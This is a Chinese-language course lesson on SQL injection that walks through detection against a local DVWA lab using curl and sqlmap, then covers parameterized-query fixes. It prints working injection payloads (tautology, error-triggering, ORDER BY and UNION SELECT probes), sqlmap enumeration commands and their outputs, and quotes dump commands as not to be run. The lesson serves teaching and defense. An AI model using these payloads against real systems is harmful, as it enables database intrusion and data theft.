理解 SQL 注入产生的三个根本原因(拼接 SQL、输入未校验、错误回显),掌握布尔型/报错型/时间型/联合查询型四种检测类型,能够手动完成闭合节点测试并使用 sqlmap 辅助检测。
外观
外观
约 4683 字大约 16 分钟
网络安全技术SQL注入sqlmap参数化查询
2026-05-13
本课核心
SQL 注入不是"黑客输入奇怪的符号",而是后端代码把用户输入当成 SQL 语法来执行。本课从一条最简单的 SELECT 语句出发,亲手观察输入如何改变查询条件,再用 sqlmap 做自动化检测,最后落到参数化查询和最小权限——让注入从根本上"无效化"。
课堂红线
本节所有 SQL 注入测试只允许面向本机 DVWA SQL Injection 页面。sqlmap 只执行检测、--current-db 与 --tables -D dvwa,不执行 --dump、不导出真实数据、不对公网或校园系统测试。模拟脱库实验使用课堂搭建的测试表,不涉及任何真实数据。
理解 SQL 注入产生的三个根本原因(拼接 SQL、输入未校验、错误回显),掌握布尔型/报错型/时间型/联合查询型四种检测类型,能够手动完成闭合节点测试并使用 sqlmap 辅助检测。
实际使用 docker exec mysql、curl、sqlmap、grep,把手工对照和自动化检测结果写入报告。
提交 SQL 注入检测报告,包含:手动对照证据、sqlmap 检测输出、风险等级解释、参数化查询修复建议。
2011 年 12 月 21 日,中国最大的程序员社区 CSDN 的 600 万用户数据库被公开下载。攻击者并非物理入侵服务器——他们通过 Web 应用层的 SQL 注入漏洞进入了数据库。
同样在 2014 年,某知名连锁酒店的客户数据遭"拖库",事后排查发现:应用服务器竟然用 root 账号直连数据库,一条 Web 漏洞就导致整个数据库沦陷。
这两件事指向同一个核心问题:当后端代码把用户输入拼进 SQL 语句时,用户就能"改写"你的 SQL。本课就来亲手验证这个过程,并学会如何防御。
用户输入恶意代码构造(如 ' OR '1'='1 或 <script>alert(1)</script>)。
点击上方图标可独立查看每个阶段的安全风险
SQL 注入不是单一漏洞,而是三个问题的叠加。理解这三个问题,你就理解了注入的本质:
| 原因 | 通俗解释 | 代码示例(反面教材) | 防护方向 |
|---|---|---|---|
| 拼接 SQL | 把用户输入直接"粘"进 SQL 字符串 | "SELECT * FROM users WHERE id='" + userInput + "'" | 参数化查询 |
| 输入未校验 | 没限制输入的类型、长度、格式 | 数字 ID 传入了 1' OR '1'='1 | 白名单校验 |
| 错误回显 | 数据库报错直接展示给用户 | You have an error in your SQL syntax... | 错误信息收敛 |
用一句话记住本质:
用户输入从"数据"变成了"SQL 语法的一部分"——这就是 SQL 注入。
攻击者探测 SQL 注入点,就像医生诊断病情——通过不同的"症状"来判断问题所在:
| 类型 | 探测方式 | 观察到的"症状" | 课堂理解 |
|---|---|---|---|
| 布尔型 | 输入 1' AND '1'='1 vs 1' AND '1'='2 | 页面内容有/无差异 | OR '1'='1 让条件永远为真 |
| 报错型 | 输入 1' 触发语法错误 | 数据库错误信息回显 | 错误信息暴露表名、列名 |
| 时间型 | 输入 1' AND SLEEP(5)-- | 响应延迟 5 秒 | 通过延迟判断语句是否执行 |
| 联合查询型 | 输入 1' UNION SELECT 1,2-- | 页面出现额外的数字 | 判断列数并定位输出位置 |
SQL 注入最难理解的地方,是"用户输入如何从普通数据变成 SQL 条件的一部分"。下面的实验台是本节的核心——请选择场景并播放动画,观察同一段输入如何经过"拼接、条件判断、记录返回"三个阶段:
SQL 语句变化动画台
输入是普通数字 ID,只能匹配 user_id = 1。
SELECT first_name, last_name FROM users
WHERE user_id = '1';| ID | First name | Surname |
|---|---|---|
| 1 | admin | admin |
正常输入只返回一条 admin 记录;之后的注入检测都要和它对照。
实验要求
播放不同场景后,请回答:"正常查询"和"恒真条件"返回的记录数有什么不同? 如果你能解释这个差异,你就理解了 SQL 注入的 80%。
理解了"拼接"的危害,再看"参数化"的防护原理:
参数化查询防护动画
1' OR '1'='1' --WHERE user_id = '1' OR '1'='1' --'WHERE user_id = ?绑定: "1' OR '1'='1' --"拼接写法的问题是输入被数据库当成 SQL 语法解析;参数化查询的问题域被拆开,SQL 结构先固定,用户输入只能作为一个值参与匹配。
核心原理:参数化查询中,用户输入被当作一个完整的字符串值绑定到占位符 ?,而不是被嵌入 SQL 语法。无论用户输入什么特殊字符,都不会改变 SQL 的结构。
在动手之前,用几条命令快速重温 SQL 的基本操作。若首次启动 DVWA 后提示 Table 'dvwa.users' doesn't exist,先初始化一次课堂测试数据库:
curl -s -c /tmp/dvwa-setup-cookie.txt \
http://127.0.0.1:8080/setup.php > /tmp/dvwa-setup.html
SETUP_TOKEN=$(grep -oP "name=['\"]user_token['\"] value=['\"]\K[^'\"]+" \
/tmp/dvwa-setup.html | head -1)
curl -s -b /tmp/dvwa-setup-cookie.txt -c /tmp/dvwa-setup-cookie.txt -L \
http://127.0.0.1:8080/setup.php \
--data-urlencode "create_db=Create / Reset Database" \
--data-urlencode "user_token=$SETUP_TOKEN" \
| grep -o "Setup successful"真实输出:
Setup successful然后打开终端,进入 DVWA 的 MySQL:
docker exec -it dvwa mysql -uroot -pdvwa dvwa进入后依次执行以下语句,理解每条语句的含义:
-- 1. 查看 users 表的结构(有哪些列、什么类型)
DESCRIBE users;
-- 2. 查询所有用户(无条件,返回全部记录)
SELECT user_id, first_name, last_name FROM users;
-- 3. 带条件的查询(只返回 user_id=1 的记录)
SELECT user_id, first_name, last_name FROM users WHERE user_id = '1';
-- 4. 尝试注释(-- 后面是注释,数据库不执行)
SELECT user_id, first_name, last_name FROM users WHERE user_id = '1'; -- 这是注释
-- 5. 联合查询基础(UNION 把两条 SELECT 的结果拼在一起)
SELECT 1,2,3 UNION SELECT 4,5,6;为了便于课堂直接回填输出,也可以用非交互命令一次运行:
docker exec dvwa mysql -uroot -pdvwa dvwa -e \
"DESCRIBE users;
SELECT user_id, first_name, last_name FROM users;
SELECT user_id, first_name, last_name FROM users WHERE user_id = '1';
SELECT user_id, first_name, last_name FROM users WHERE user_id = '1'; -- 这是注释
SELECT 1,2,3 UNION SELECT 4,5,6;"真实输出:
Field Type Null Key Default Extra
user_id int(6) NO PRI NULL
first_name varchar(15) YES NULL
last_name varchar(15) YES NULL
user varchar(15) YES NULL
password varchar(32) YES NULL
avatar varchar(70) YES NULL
last_login timestamp NO CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP
failed_login int(3) YES NULL
user_id first_name last_name
1 admin admin
2 Gordon Brown
3 Hack Me
4 Pablo Picasso
5 Bob Smith
user_id first_name last_name
1 admin admin
user_id first_name last_name
1 admin admin
1 2 3
1 2 3
4 5 6| 语句 | 作用 | 与注入的关系 |
|---|---|---|
DESCRIBE users | 查看表结构(列名、类型) | 攻击者的首要目标——了解表结构 |
SELECT ... FROM users | 查询数据 | 正常业务查询 |
WHERE user_id = '1' | 条件过滤 | 注入就发生在 WHERE 子句 |
-- | 单行注释 | 攻击者用它"截断"后面的 SQL |
UNION SELECT | 合并查询结果 | 联合查询注入的核心语法 |
当你输入 1' 时,后端拼接后的 SQL 变成了:
SELECT first_name, last_name FROM users WHERE user_id = '1'';注意最后有两个单引号——前一个是你输入的,后一个是代码原本的。这导致单引号配对出错,数据库报语法错误——这也恰恰证明了你的输入被拼进了 SQL。
闭合的三种方法:
| 输入 | 拼接后的 WHERE 子句 | 效果 |
|---|---|---|
1' OR '1'='1 | WHERE user_id = '1' OR '1'='1' | 恒真,返回所有记录 |
1' OR '1'='1' -- | WHERE user_id = '1' OR '1'='1' -- ' | 恒真 + 注释掉后面的引号 |
1' OR '1'='1' # | WHERE user_id = '1' OR '1'='1' #' | 同上(MySQL 用 # 注释) |
不用通过 Web 页面,直接在 MySQL 中运行两条对照查询:
docker exec dvwa mysql -uroot -pdvwa dvwa -e \
"SELECT user_id, first_name, last_name FROM users WHERE user_id='1';
SELECT user_id, first_name, last_name FROM users WHERE user_id='1' OR '1'='1';"这个命令在做什么?
| 命令片段 | 作用 |
|---|---|
docker exec dvwa mysql | 进入 DVWA 容器,执行 MySQL 客户端 |
-uroot -pdvwa dvwa | 用 root 账号登录,密码 dvwa,使用 dvwa 数据库 |
-e "SELECT ..." | 执行引号内的 SQL 语句(-e = execute) |
第一条 SELECT | 正常查询——只查 user_id=1 的记录 |
第二条 SELECT | 注入模拟——加了 OR '1'='1' 恒真条件 |
真实输出(在 Kali 中运行后得到):
user_id first_name last_name
1 admin admin
user_id first_name last_name
1 admin admin
2 Gordon Brown
3 Hack Me
4 Pablo Picasso
5 Bob Smith逐行解读:
admin。这是正常业务的预期行为——查谁就返回谁。'1'='1' 永远为真,WHERE 条件对每一行都成立。现在通过 DVWA 页面进行完整的注入测试。先确保登录 DVWA 并保存 Cookie:
# 登录 DVWA 并保存 Cookie
curl -s -c /tmp/dvwa-cookie.txt \
"http://127.0.0.1:8080/login.php" > /tmp/dvwa-login.html
TOKEN=$(grep -oP "name=['\"]user_token['\"] value=['\"]\K[^'\"]+" \
/tmp/dvwa-login.html | head -1)
curl -s -b /tmp/dvwa-cookie.txt -c /tmp/dvwa-cookie.txt -L \
"http://127.0.0.1:8080/login.php" \
--data-urlencode "username=admin" \
--data-urlencode "password=password" \
--data-urlencode "Login=Login" \
--data-urlencode "user_token=$TOKEN" > /tmp/dvwa-login-result.html
PHPSESSID=$(awk 'NF && $1 !~ /^#/ && $6 == "PHPSESSID" {print $7; exit}' \
/tmp/dvwa-cookie.txt)
COOKIE_HEADER="security=low; PHPSESSID=$PHPSESSID"① 正常请求(建立基线)
curl -s -b "$COOKIE_HEADER" \
"http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
| sed 's/<br \/>/\n/g; s/<[^>]*>//g' \
| grep -E "^[[:space:]]*ID:|First name|Surname"真实输出:
ID: 1
First name: admin
Surname: admin结果解释:数字 1 正常查询,返回一条用户记录。这是后续所有测试的对照基线。
② 布尔型探测(恒真条件)
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=1' OR '1'='1' -- " \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/ \
| grep -o "First name" | wc -l真实输出:
5结果解释:grep -o "First name" | wc -l 统计 First name 出现次数。输出 5 说明返回了 5 条记录(全表),而正常只有 1 条——证明存在布尔型注入。
③ 报错型探测(触发语法错误)
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=1'" \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/ \
| grep -i "error\|syntax\|warning" | head -5真实输出:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1结果解释:错误信息直接暴露了数据库类型(MariaDB)和语法错误的上下文——攻击者可以用这些信息构造更精准的注入语句。
④ 联合查询型探测(判断列数)
# 用 ORDER BY 探测列数(逐个尝试直到报错)
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=1' ORDER BY 2-- " \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/ \
| grep -o "First name" | wc -l真实输出:
1继续尝试第 3 列:
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=1' ORDER BY 3-- " \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/ \
| grep -o "First name" | wc -l真实输出:
0结果解释:当前 DVWA 镜像中 ORDER BY 2 正常、ORDER BY 3 无正常回显,说明原查询有 2 个回显列。因此后面的 UNION SELECT 必须使用 2 列,不能沿用旧资料中的 3 列写法。
手动探测确认注入点后,用 sqlmap 进行系统化检测:
sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="$COOKIE_HEADER" \
--batch \
--level=1 \
--risk=1 \
--current-db \
--flush-session参数逐行解释:
| 参数 | 作用 | 本节为什么用 |
|---|---|---|
-u "..." | 指定目标 URL(含参数) | 只指向本机 DVWA 的 SQL Injection 页面 |
--cookie="..." | 携带登录会话和安全级别 | DVWA 需要登录后才能访问漏洞页面 |
--batch | 自动使用默认选项,不询问 | 避免课堂交互打断流程 |
--level=1 | 基础检测级别,请求量少 | 控制 HTTP 请求数量 |
--risk=1 | 低风险测试,不执行危险操作 | 保护靶场稳定 |
--current-db | 只获取当前数据库名 | 不做数据导出 |
--flush-session | 清除 sqlmap 历史缓存 | 保证本次输出来自真实运行 |
真实输出节选:
sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
---
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
current database: 'dvwa'输出逐段解读:
Parameter: id (GET) → 注入点是 URL 中的 id 参数,方法为 GET。boolean-based blind → sqlmap 确认可通过真假条件差异来探测数据(布尔盲注)。error-based → sqlmap 确认可通过触发数据库错误来获取数据(报错注入)。time-based blind → sqlmap 确认可通过 SLEEP 延迟来判断条件真假(时间盲注)。UNION query → sqlmap 确认可用 UNION 直接输出查询结果(联合查询)。back-end DBMS: MySQL >= 5.1 (MariaDB fork) → 识别出后端数据库类型和版本。current database: 'dvwa' → 当前数据库名为 dvwa。本节只取数据库名。sqlmap 检测过程动画
id=1MariaDBOR boolean-based blind - WHERE or HAVING clause工具分别制造真条件和假条件,页面响应不同就说明参数能影响 WHERE 条件。
id 参数存在布尔型注入检测证据;正常请求与恒真条件返回记录数不同。
这不是已经导出数据,只是证明参数可控并能改变查询结果。
重要声明
以下操作仅在课堂搭建的测试环境中执行,数据表由课堂脚本创建、不含任何真实信息。目的是理解脱库的原理,从而学会防御。
① 模拟攻击:用 sqlmap 查看有哪些表
sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="$COOKIE_HEADER" \
--batch --level=1 --risk=1 \
--tables -D dvwa \
--flush-session真实输出节选:
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+结果解读:dvwa 数据库中有 2 张表——guestbook(留言板)和 users(用户表)。攻击者看到这个就知道 users 表存着用户数据。
② 攻击者的下一步(课堂不执行,仅讲解原理)
# 查看 users 表的列结构(课堂不执行)
# sqlmap ... --columns -D dvwa -T users
# 导出 users 表全部数据(课堂不执行)
# sqlmap ... --dump -D dvwa -T users③ 防御:为什么课堂不执行 --dump
因为在真实环境中,一旦执行 --dump,攻击者就能导出:
这就是为什么本课严格限制 sqlmap 的使用范围——我们学的是检测和防御,不是攻击。
UNION 注入是最直观的攻击方式——它直接让攻击者的查询结果显示在正常页面上。
① 确认列数(ORDER BY 法)
# 先尝试 2 列
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=1' ORDER BY 2-- " \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/ \
| grep -o "First name" | wc -l真实输出:
1再尝试 3 列:
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=1' ORDER BY 3-- " \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/ \
| grep -o "First name" | wc -l真实输出:
0结果解读:ORDER BY 2 正常、ORDER BY 3 不再返回正常记录,说明当前 DVWA SQL Injection 页面原始查询是 2 列。
② 判断显示位置
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=-1' UNION SELECT 1,2-- " \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/真实输出(HTML 片段):
<pre>ID: -1' UNION SELECT 1,2--
First name: 1
Surname: 2</pre>结果解读:页面在 First name 位置显示了 1,在 Surname 位置显示了 2。说明这 2 个查询列都会回显到页面——攻击者可以在这里放想查的元数据。
③ 利用回显位置获取信息
# 获取数据库版本和当前数据库名
curl -s -b "$COOKIE_HEADER" -G \
--data-urlencode "id=-1' UNION SELECT version(),database()-- " \
--data-urlencode "Submit=Submit" \
http://127.0.0.1:8080/vulnerabilities/sqli/真实输出:
<pre>ID: -1' UNION SELECT version(),database()--
First name: 10.1.26-MariaDB-0+deb9u1
Surname: dvwa</pre>结果解读:
First name 位置显示了 MariaDB 的版本号 10.1.26-MariaDB-0+deb9u1Surname 位置显示了当前数据库名 dvwaDVWA 漏洞初检
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd Service Info: DVWA container
Web 服务开放本身不是漏洞,但它确认了后续检测入口;如果服务版本过旧或暴露到非授权网络,风险会被放大。
仅绑定本机地址,保持容器可重建;生产系统应隐藏管理入口、升级组件并加访问控制。
| 防护层 | 具体措施 | 防御效果 |
|---|---|---|
| 第一层:参数化查询 | 使用 Prepared Statement,禁止字符串拼接 SQL | 从根源消除注入 |
| 第二层:输入校验 | 数字类型强转、字符串白名单过滤、长度限制 | 拦截明显异常输入 |
| 第三层:最小权限 | 应用账号只给 CRUD 权限,禁止 DROP/ALTER | 即使注入成功,降低损失 |
| 第四层:错误收敛 | 统一错误页面,不暴露数据库类型和版本 | 增加攻击者探测难度 |
| 第五层:审计日志 | 记录异常参数和频繁报错请求 | 便于事后溯源和预警 |
不安全写法(PHP 字符串拼接):
// 危险:用户输入直接拼进 SQL
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($conn, $query);安全写法(PHP 参数化查询):
// 安全:用 ? 占位,用户输入只作为参数值
$stmt = $conn->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->bind_param("s", $_GET['id']);
$stmt->execute();关键差异:第一种写法中 $_GET['id'] 的值变成了 SQL 语法;第二种写法中它永远只是数据。
| 验收项 | 标准 |
|---|---|
| 闭合节点理解 | 能写出三种闭合方式(' OR '1'='1、' OR '1'='1' -- 、' OR '1'='1' #) |
| 四种检测类型 | 能说出布尔型、报错型、时间型、联合查询型的区别 |
| 手动探测 | 能完成正常参数与布尔/报错参数对比,解释输出差异 |
| sqlmap 使用 | 能解释 sqlmap 输出的检测点、检测类型、DBMS、当前库名 |
| UNION 注入 | 能完成 ORDER BY 列数判断和 UNION SELECT 回显定位 |
| 防护建议 | 能给出参数化查询代码示例,能解释最小权限如何降低影响 |
| 边界意识 | 明确知道 --dump 不能执行、不测试真实系统 |
bind_param 能让注入无效化?写出对比代码。